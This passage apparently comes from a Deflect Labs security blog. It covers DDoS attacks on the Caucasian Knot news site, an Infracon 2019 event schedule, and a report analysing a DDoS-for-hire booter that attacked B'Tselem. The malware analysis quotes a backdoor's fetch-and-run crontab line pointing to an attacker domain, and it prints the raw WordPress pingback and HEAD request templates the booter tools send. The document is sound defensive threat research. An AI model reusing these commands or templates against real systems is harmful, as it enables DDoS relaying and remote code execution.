The attack was coming from 351 different IP addresses doing requests to /, adding random HTTP queries to bypass any caching mechanism, with queries like GET /?tone=hot or GET /?act=ring, and often adding random referrers like http://www.google.com/translate?u=trade or http://www.comicgeekspeak.com/proxy.php?url=hot. Most of these IP addresses were open proxies used as relays, like the IP 94.16.116.191 which did more than 112 000 queries –  listed as an open proxy on different proxy databases.

Many open-proxies are “transparent”, which mean that they do not add or remove any header, but it is common to have proxies adding a header X-Forwarded-for with the origin IP address. Among the long list of proxies used, several of them actually added this header which revealed the IP addresses at the origin of the attack (an occurrence similar to what we’ve previously documented in Deflect Report #4)

  • 157.52.132.202 1,157,759
  • 157.52.132.196 1,127,194
  • 157.52.132.191 1,018,789
  • 157.52.132.190 1,008,426
  • 157.52.132.197 984,914

These IPs are servers hosted by a provider called Global Frag, that propose servers with DDoS protection (sic!). We have sent an abuse request to this provider on the 19th of November and the servers were shutdown a few weeks after that (we cannot be sure if it was related to our abuse request). We have not recorded any other malicious traffic from these servers to the Deflect network.

Second attack: botnet attack on November 18th

On this day we identified a second, smaller attack targeting the same website.

The attack queried the / path more than 2 million times, this time without any query string to avoid caching, but the source of the attack is really different. Most of the attacks are coming from a botnet, with 1591positively identified IP addresses (top 10 countries listed here):

  • 213 India
  • 163 Indonesia
  • 99 Brazil
  • 63 Egypt
  • 63 Morocco
  • 59 Romania
  • 58 Philippines
  • 57 United States
  • 46 Poland
  • 44 Vietnam

A small subset of this attack was actually using the WordPress pingback method, generating around 30 000 requests. WordPress pingback attacks are DDoS attacks using WordPress websites with the pingback feature enabled as relay, which allows to generate traffic to the targeted website. A couple of years ago, the WordPress development team updated the user-agent used for pingback to include the IP address of the origin server. In our logs we see two different types of user-agents for the pingback :

  • User agents before WordPress 3.8.2 having only the WordPress version and the website, like WordPress/3.3.2; https://equalit.ie
  • User-agents after version 3.8.1 having an extra field giving the IP address at the origin of the query like WordPress/4.9.3; http://[REDACTED]; verifying pingback from 188.166.105.145

By analyzing user-agents of modern WordPress websites, we were able to distinguish the following 10 attack origin IPs:

45.76.34.217 - 2403
209.250.240.49 - 2396
188.166.43.4 - 2377
209.250.250.52 - 2362
209.250.255.162 - 2351
95.179.183.197 - 2347
174.138.13.37 - 2334
188.166.26.137 - 2274
188.166.125.216 - 2247
188.166.105.145 - 2238

All these IPs were actually part of a booter service (professional DDoS-for-hire) that also targeted BT’selem and that we described in detail in our Deflect Labs Report #4.

Third attack: WordPress PingBack and Botnets on the 3rd of December

On the 3rd of December around 3pm UTC, we saw a new attack targeting www.kavkaz-uzel.eu, again with requests only to /. On the diagram below  we can see two peaks of traffic around 2h20 pm and 3pm when checking only the requests to / at that time :

Peak of traffic to / on www.kavkaz-uzel.eu on the 3rd of December

Looking at the first peak of traffic, we were able to establish another instance of a WordPress Pingback attack with user agents like WordPress/3.3.2; http://[REDACTED] or WordPress/4.1; http://[REDACTED]; verifying pingback from 185.180.198.124. We analyzed the user-agents from this attack and identified 135 different websites used as relays, making a total of 67 000+ requests. Most of these websites were using recent WordPress version, showing the IP as the origin of this attack, 185.180.198.124 a server from king-servers.com. King Server is a Russian Server provider considered by some people to be a bullet-proof provider. Machines from King Servers were also used in the hack of Arizona and Illinois’ state board of elections in 2016. Upon closer inspection, we could not find any other interesting services running on this machine or proof that it was linked to a broader campaign. Among the 135 websites used as relay here, only 25 were also used in the 2nd attack described above, which seems to show that they are coming from an actor with a different list of WordPress relays.

Peak of traffic by user-Agent type, first peak colour is for WordPress user-agents, second peak color is for Chrome user-agents

 

The second peak of traffic was actually coming from a very different source: we identified 252 different IP addresses as the origin of this traffic, mostly coming from home Internet access routers, located in different countries. We think this second peak of traffic was from a small botnet of compromised end-systems. These systems were mostly located in Russia (32), Egypt (20), India (17), Turkey (14) and Thailand (10) as shown in the following map :

Conclusion

The first DDoS attack had a significant impact on the Caucasian Knot website, leading to their joining the Deflect service. It took us a few days to mitigate this attack, using specific filtering rules and javascript challenges to ban hosts. The second and third attacks were largely smaller and were automatically mitigated by Deflect.

In our follow up investigations we could not find a direct technical link to explain attackers’ motivation, however in all cases attacks were launched within a 24-hour window of a publication critical of the Chechen government and when countering its official narratives. We did not find any similar correlation with other thematic or region specific publications on this website, within a 24-hour window between publication and attack.

Read More

Infracon 2019 – Barcelona

Open Day

The Infracon Open Day invites technology groups, NGOs, organized civil society and media in Barcelona to discuss technology solutions for self-determination and autonomy on the Internet. Register your participation below!

Infracon – is a global conference for independent Internet service providers working on solutions for autonomous infrastructure. eQualitie and Pangea are bringing together several dozen organizations including Guifi.net, Greenhost, RiseUp, LEAP, Autistici, GreenNet, Colnodo, CodigoSur, AlterMundi, APC, MayFirst, Maadix, Sindominio among others, to work together on common web platforms, authentication systems and network solutions – creating viable alternatives to the corporate cloud.

Address: Lleialtat Center

Auditorium *

10:00h – 10:30h: BENVINGUDA I PRESENTACIÓ: Presentarem la jornada i les entitats organitzadores (castellà, anglès)

10:30h – 11:30h: “Censura d’internet al referèndum català”, que hem appres? (castellà, anglès)

Coffee break

11:45 – 13:00: Infracon panel: Digital autonomy and self-determination or how I learned to stop worrying and start loving the Internet: Greenhost; RiseUp; Sindominio, CodigoSur, Maadix (anglès, castellà)

Lunch time

14:30 – 15:30: Estratègies municipals per a l’apoderament digital: Presentació de les 46 Mesures per a l’apoderament digital als municipis. Eines i recursos per als ajuntaments apoderamentdigital.cat (castellà, anglès)

Coffee break

16:00 – 16:30   Infracon report back and what next for independent ISP (castellà)

16:30 – 17:30:   InfraRed lightning talks: autonomous and secure solutions for hosting, communications and mobilisation (anglès)

* English < > Spanish translation provided in the auditorium

Workshop room

#1 12:00 – 13:00 Glocal Application Services in Community Networks

#3 14:30 – 16:00 Open space

Read More

Deflect Labs Report #4 – Anatomy of a booter

Key Findings

  • We identified a DDoS attack against the Israeli human rights website www.btselem.org on the 2nd of November
  • Attackers used three different type of relays to overload the website and were automatically mitigated by Deflect
  • We identified the booter infrastructure (professional DDoS service) and accessed and analyzed its tools, which we describe in this article
  • In cooperation with Digital Ocean, Google and other security response teams, we have managed to shut down some of the booter’s infrastructure running on their platforms. The booter is still operational however and continues to create new machines to launch attacks.

Introduction

On the 2nd of November 2018, we identified a DDoS attack against the Deflect-protected website www.btselem.orgB’Tselem is an Israeli non-profit organisation striving to end Israel’s occupation of the Palestinian territories. B’Tselem has been targeted by DDoS attacks many times in the past, including in 2013 and 2014, also when using Deflect protection in 2016. The organization has been facing pressure from the Israeli government for years, as well as from sectors of the Israeli public.

The attack on the 2nd of November was orchestrated from a booter infrastructure. A booter (also known as DDoSer or Stresser) is a DDoS-for-hire service with prices starting from as low as 15 dollars a month. Some services can support a huge number of DDoS attacks, like the booter vDoS (taken down in August 2017 by the Israeli police) which did more than 150 000 DDoS attacks and raised more than $600 000 over two years of activity. Now, the threat is taken seriously by police in many countries, leading to the dismantling of several booter services.

This attack is one of seventeen that we identified targeting the B’Tselem website in 2018. Most of the web attacks were using standard security audit tools such as Nikto, SQLMap or DirBuster launched from different IPs in Israel. All discovered DDoS attacks were using botnets to amplify the traffic load. The attack investigated in this report is the first example of a WordPress pingback attack against the btselem.org website in 2018.

In this article, we analyze the attack, including the tools and methods used by the booter.

Description of the Attack

On November 2nd, between midnight and 1am UTC, we identified an unusual peak of traffic to www.btselem.org. A large number of requests did not have any user-agent string or used a user-agent showing a WordPress pingback request (like WordPress/4.8.7; [REDACTED]; verifying pingback from 174.138.13.37). We confirmed that this traffic is part of a DDoS effort using different types of relays. We have documented pingback attacks several times in the past and explain what they are in the 3rd Deflect Labs report.

btselem.org received 341 435 requests to / during that period of time, including 272 624 requests without user-agent, 65 887 requests with UA Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 and 2368 requests with different WordPress user-agents.

One interesting aspect of this traffic is that it targeted the domain btselem.org. This domain is configured to redirect to https://www.btselem.org through a 301 redirect HTTP code, but only a small part of the traffic actually followed the redirection and queried the final www website. We got 272,636 requests without user-agent on btselem.org during the attack, and only 34,035 on www.btselem.org.

Analyzing WordPress pingbacks

WordPress pingback attacks have been around since 2014 and we’ve had to deal with several pingback attacks before.

The idea is to abuse the WordPress pingback feature which is built to notify websites when they are being mentioned or linked-to, by another website. The source publication contacts the linked-to WordPress website, with the URL of the source. The linked-to website then replies to confirm receipt. By sending the initial pingback request with the target website as the source, it is possible to abuse this feature and use the WordPress website as a relay for a DDoS attack. To counter this threat, many hosting providers have disabled pingbacks overall, and the WordPress team has implemented an update to add the IP address at the origin of the request in the User-Agent from version 3.9. An attack using the website www.example.com as a relay would see user-agents like WordPress/3.5.1; http://www.example.com before the version 3.9, and WordPress/3.9.16; http://www.example.com; verifying pingback from ORIGIN_IP after. Unfortunately, many WordPress websites are not updated and can still be used as relay without displaying the source IP address.

By analyzing the WordPress user-agents during the attack, it is easy to map the websites used as relays :

  • 2368 requests were from WordPress websites
  • These requests were coming from 300 different WordPress websites used as relays
  • 149 of them where above the version 3.9

The user-agents of WordPress websites over 3.9 shows the IPs at the origin of the attack : WordPress/4.1.24; http://[REDACTED]; verifying pingback from 178.128.244.42.

We identified 10 IPs as the origin of these attacks, all hosted on Digital Ocean servers which reveals the actual infrastructure of the booter. We describe hereafter the infrastructure identified and the actions we took to shut it down.

Analyzing other queries

The other part of the DDoS attack is a large number of requests to / without any query-string, also without either user-agent (272 624 requests) or with user-agent Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 (65 887 requests).

By analyzing samples of these IPs, we identified many of them as open proxies. For instance, we received 159 requests from IP 213.200.56[.]86, known to be an open proxy by several open proxy databases. We checked the X-Forwarded-For header which is set by some proxies to identify the origin IP doing the request, and identified again the same list of 10 Digital Ocean IPs at the source of the attack.

Finally, a small part of these requests remained from unknown sources until we discovered the Joomla relay list on the booter servers (see after). A common Joomla plugin called Google Maps2 has a vulnerability disclosed since 2013 that allows using it as a relay. It has been used several times for DDoS, especially around 2014. It is surprising to see such an old vulnerability being used, but we identified only 2678 requests which show that this attack is not very effective in 2018, likely due to small number of websites still vulnerable.

Anatomy of a Booter

Infrastructure

As described earlier, the analysis of WordPress PingBack user-agents and of X-Forwarded-For header from proxies gave us the following list of IP addresses, all hosted on Digital Ocean :

  • 178.128.244.42
  • 178.128.244.184
  • 178.128.242.66
  • 178.128.249.196
  • 142.93.136.67
  • 188.166.26.137
  • 188.166.43.4
  • 188.166.105.145
  • 174.138.13.37
  • 188.166.125.216

These 10 servers were running an Apache http server on port 80 with an open index file showing a list of tools used by the booters for DDoS attacks :

This open directory allowed us to download most of the tools and list of relays used by the booters.

Toolkit

We were able to download most of the tools used by the booter at the exception of PHP code files (the files being executed when the URL is requested). Overall we can see three types of files hosted on the booter :

  • Command files in php : api.php and sockhit.php
  • Tools : executable or javascript tools like http.js or joomla
  • Text files listing relays :joomla.txt,path.txt,perfect.txt,socks.txt andxmlrpc.txt

Unprotected Commands

We could not download these php files (sockhit.php and api.php), but we could quickly deduce that they were used to remotely command the booter server from the interface to launch attacks.

l@tp $ curl http://178.128.244.42/sockhit.php
Made By Routers.Rip
Usage: php  [URL] [THREADS] [SECONDS] [CLIENTS_NUMBER] [SOCKS_FILE]
Example: php  http://Routers.Rip/ 800 60 20 proxies.txt

l@tp $ curl http://178.128.244.42/api.php
Missing Parameters!%

One interesting thing to notice, is that the sockhit.php file does not seem to require authentication, which means that the infrastructure could have been used by other people unknowingly of the owners. We think that these PHP files are not directly launching the attacks but rather using the different tools deployed on the server to do that.

Backdoored Tools

The following tools were found on the server :

  • https.js a206a42857be4f30ea66ea17ce0dadbc
  • joomla 1956fc87a7217d34f5bcf25ac73e2d72a1cae84a
  • jsb.js b3a55eeb8f70351c14ba3b665d886c34
  • xmlrpc 480e528c9991e08800109fa6627c2227

We reversed both the xmlrpc and joomla file, and discovered that the joomla binary is actually backdoored. The file contains the real joomla executable from byte 0x2F29, upon execution the legitimate program is dumped into a temporary file (created with tmpnam), then a crontab is added by opening /etc/cron.hourly/0 and adding the line wget hxxp://r1p[.]pw/0 -O- 2>/dev/null| sh>dev/null 2>&1. The backdoor then opens itself and checks if it already contains the string h3dNRL4dviIXqlSpCCaz0H5iyxM= contained in the backdoor. If it does not contain the string, it will backdoor the file. Finally, it executes the legitimate program with the same arguments.

The final payload (5068eacfd7ac9aba6c234dce734d8901) takes as arguments (target) (list) (time) (threads), then read the list file to get the list of Joomla websites and query it with raw socket and the following HTTP query :

HEAD /%s%s HTTP/1.1
Host: %s
User-agent: Mozilla/5.0
Connection: close

The xmlrpc binary (480e528c9991e08800109fa6627c2227) is working in the same way (and is not backdoored) : Upon execution, the user has to provide a target website along with a list of WordPress websites in a file, a number of seconds for the attack and a number of threads ({target} {file} {seconds} {threads}). The tool then iterate over the list of WordPress website in multiple threads for the given duration, doing the following requests to the website :

POST /%s HTTP/1.0
Host: %s
Content-type: text/xml
Content-length: %i
User-agent: Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)
Connection: close

<methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>

https.js and jsb.js are both Javascript tools forked from the cloudscaper tool which allows to bypass Cloudfare anti-DDoS Javascript challenge by solving the challenge server side and bypassing the protection. We don’t really know how it is used by the booter.

These jsb.js file contains the following line, which was likely done to prevent attack from this tool on the Turkish Hacker forum DarbeTurk but was partially deleted then :

if (body.indexOf('DARBETURK ONLINE | TURKISH UNDERGROUND WORLD') !== -1) {
            //console.log('RIP');
        }

A Long List of Relays

The following list of relays where used on the server :

  • joomla.txt : contains 1226 Joomla websites having a Google Maps plugin vulnerable to relaying
  • path.txt : list of 2117 open proxies
  • perfect.txt : list of 1000 open proxies
  • socks.txt : list of 37849 open proxies
  • xmlrpc.txt : list of 9072 WordPress websites

As said earlier, it is surprising to see 1226 Joomla website with a vulnerable Google Maps plugin, while this vulnerability was identified and fixed in 2014. We queried the 1226 urls to check if the php page was still available and found that only 131 of them over 1226 still exist today. It explains the small number of requests identified from this type of relay in the attack, and shows that the tools and list used are quite outdated.

Summary

This booter relies on three different DDoS methods, all using different relays :

  • WordPress pingback attacks
  • Joomla Google Maps plugin vulnerability
  • Open proxies

The attacks we have seen from this booter where not very effective and were automatically mitigated by Deflect. The back-doored joomla file and the jsb.js Javascript tool (with a reference to a Turkish hacker forum) let us think that we have here a very amateur group that reused different tools shared on hacker forums, and imply a low technical skill level.

Tracking the booter’s infrastructure

A few days after we downloaded the tools, we saw the index page of all the servers change to a very simple html file containing only ‘kekkkk’ and although the tools were still available we were not able to see the list of files on the servers. As this string is a specific signature, we used Censys and BinaryEdge to track the creation of new servers by looking for IPs returning the same specific string.

Between mid-November and mid December, we have seen the booter using both Vultr and Google Cloud Platform. Overall we have identified 65 different IPs used by the operators, with a maximum of 17 at a single time.

We sent abuse requests to these companies, the two Google Cloud servers were shortly taken down after our email (we have no information if it is related to our abuse request or not). We contacted Vultr abuse team several times and they took down the booter infrastructure in mid-December. We sent an abuse request to Digital Ocean when we discovered the attack. Several days after we managed to get in touch with the incident response team that investigated more on this infrastructure. After discussions with them, they took down the infrastructure in December, but the operator quickly started new Digital Ocean servers that are still up at the time of the publication of this report.

Impact on Deflect protected websites

This DDoS attack was automatically mitigated by Deflect and did not create any negative impact on the targeted website.

Conclusion

People operating this booter have been identified by the Digital Ocean security team. However, without an official complaint and a legal enforcement request, the booter continues to operate creating new infrastructure for launching their attacks.

Booters have been around for a long time and even if several groups have been taken down by police (like the infamous Webstresser.org), this attack shows that the threat is still real. The analysis of the tools presented here seems to show that low skills are sufficient to run a booter service simply by reusing tools published on different hacker forums. Even so, an attack from this amplitude would be enough to take down a small to medium sized website without adapted DDoS protection.

We hear regularly about DDoS attacks coming from booters hosted on ecommerce websites, or game platforms, but this incident is also another reminder that civil society organization are a frequent victim of these same booters.

Indicators of Compromise

Original servers used by the booter (all Digital Ocean IPs):

  • 178.128.244.42
  • 178.128.244.184
  • 178.128.242.66
  • 178.128.249.196
  • 142.93.136.67
  • 188.166.26.137
  • 188.166.43.4
  • 188.166.105.145
  • 174.138.13.37
  • 188.166.125.216

md5 of the files available on the booter’s servers :

  • a206a42857be4f30ea66ea17ce0dadbc https.js
  • cf554c82438ca713d880cad418e82d4f joomla
  • a21e6eaea1802b11e49fd6db7003dad0 joomla.txt
  • b3a55eeb8f70351c14ba3b665d886c34 jsb.js
  • 9263a09767e1bad0152d8354c8252de9 path.txt
  • 5214cbb3fc199cb3c0c439aedada0f2a perfect.txt
  • db8ee68a81836cde29c6d65a1d93a98d socks.txt
  • 480e528c9991e08800109fa6627c2227 xmlrpc
  • ea2c3ee7ac340c25a9b9aa06c83d0b6e xmlrpc.txt

Acknowledgment

We would like to thank the different incident response teams that have had to deal with our constant emails, Censys, ipinfo.io and BinaryEdge for their tools.

Read More